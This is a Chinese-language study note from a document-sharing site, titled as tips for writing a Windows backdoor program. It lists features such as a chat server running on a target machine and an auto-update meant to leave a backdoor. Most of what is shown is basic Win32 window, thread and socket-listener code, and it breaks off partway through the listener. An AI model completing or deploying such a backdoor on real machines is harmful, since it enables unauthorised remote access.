windows后门程序的心得与小技巧
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
windows后门程序
目录
一.具体实现(已完成)
1.对话匡界面弹框按钮 (2)
2.窗口间消息 (2)
3.编辑框:没有id? (2)
4.窗口重绘必须立即完成: (2)
5.创建线程(beginthreadex为何未定义?) (2)
6.c/s聊天 (3)
7.获取本机ip (7)
8.向本机自动更新(留后门) (8)
9.域名转换函数...............................................................、 (12)
10.去除http协议响应头 (12)
二.未完成 (13)
三.心得体会 (14)
●套接字收发整形数据C库函数与windows函数,
●.代码量与可移植性
●套接字接收缓冲区应该大一些?
●.套接字接收绑定
●自动补充路径
●域名转换ip
一.已完成
1.对话匡界面弹框按钮
hbut2=CreateWindow(TEXT("edit"),NULL,WS_CHILD|WS_VISIBLE|WS_BORDER|BS_TEXT,10,30,100,25,hwnd,(HMENU) 3,hinst,NULL);
hbut3=CreateWindow(("button"),("发送"),WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON,300,300,100,30,hwnd,(HMENU)2,hinst,NULL);
2.窗口间消息
SendMessage(hwnd,WM_PAINT,wparam,lparam);
3.编辑框:没有id?
GetWindowText(hbut2,str_buf,10);得到文本
//GetDlgItemText(hbut2,3,str_buf,10);得到空?
4.窗口重绘必须立即完成:
UpdateWindow(hwnd);
InvalidateRect(hwnd,NULL,TRUE);
5.创建线程(beginthreadex为何未定义?)
int WINAPI threadproc(sock_block* dwtherdparam)
{
return 0;
}
HANDLE initthread(sock_block* dwtherdparam)
{
DWORD threadid;
//_beginthreadex???????未定义?????
dwtherdparam->dwrd=NULL;
dwtherdparam->addr="192.168.127.0";
dwtherdparam->honst=NULL;
HANDLE h_thread=(HANDLE)CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)threadproc,
(void*)dwtherdparam,
0,
&threadid
);
return h_thread;
}
6.c/s聊天
通过将目标机设置能服务器,本地机设置成客户端来实现,具体是目标创建线程,来开放端口监听套接字,(将目标设置成服务器是因为服务器可以长时间运行能够满足客户端随机登陆的要求并且性能消耗不大)。
服务器用两个并行线程来实现发送与接收,发送被设置在了窗口主线程内,接收则与监
听等都在新线程内。
窗口通过按钮触发发送,接收则通过selsect()阻塞/唤醒机制实现异步。
通过这个功能,得到一些结论,一个进程能不同线程间通信等需要很多全局变量,这些变量能够被不同线程使用,不过这使得线程间通信的唯一一个指针变量变得奇怪(多余),可能当线程间通信内容与线程复杂度不同时,这个指针变得更方便些。
问题:将目标设置成服务器不能得到目标的ip,与本客户端不能建立连接(难道要再加一个本地服务器端通过目标客户端发送ip?)
线程函数的写法:
int WINAPI threadproc(sock_block* dwtherdparam)
{
WSADATA wsaData;
SOCKADDR_IN seraddr,cliaddr;
ULONG sockmode;
int sockok,totalsock=0;
int i=0,j=0;
struct fd_set fdwrite,fdread;
//char buf[10],buf0[10];
sock_buf a,flag;
a.a=new char[50];
flag.a=new char[50];
int buflen=sizeof(flag.a);
//int BUFLEN =sizeof(buf);
int addrlen=sizeof(seraddr);
int cliaddrlen=sizeof(cliaddr);
//long code;
int b=0,k,l,m;
char *temp=new char[50];//本想用于循环接收暂存的但是接收缓存变大即可
seraddr.sin_family=AF_INET;
seraddr.sin_port=htons((short)dwtherdparam->honst);
//seraddr.sin_addr.s_addr=inet_addr("127.0.0.1");
seraddr.sin_addr.s_addr=inet_addr(dwtherdparam->addr);
if ( WSAStartup( MAKEWORD(2,0), &wsaData ) != 0 )
{
printf("error1");
return -1;
}
if((listensocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)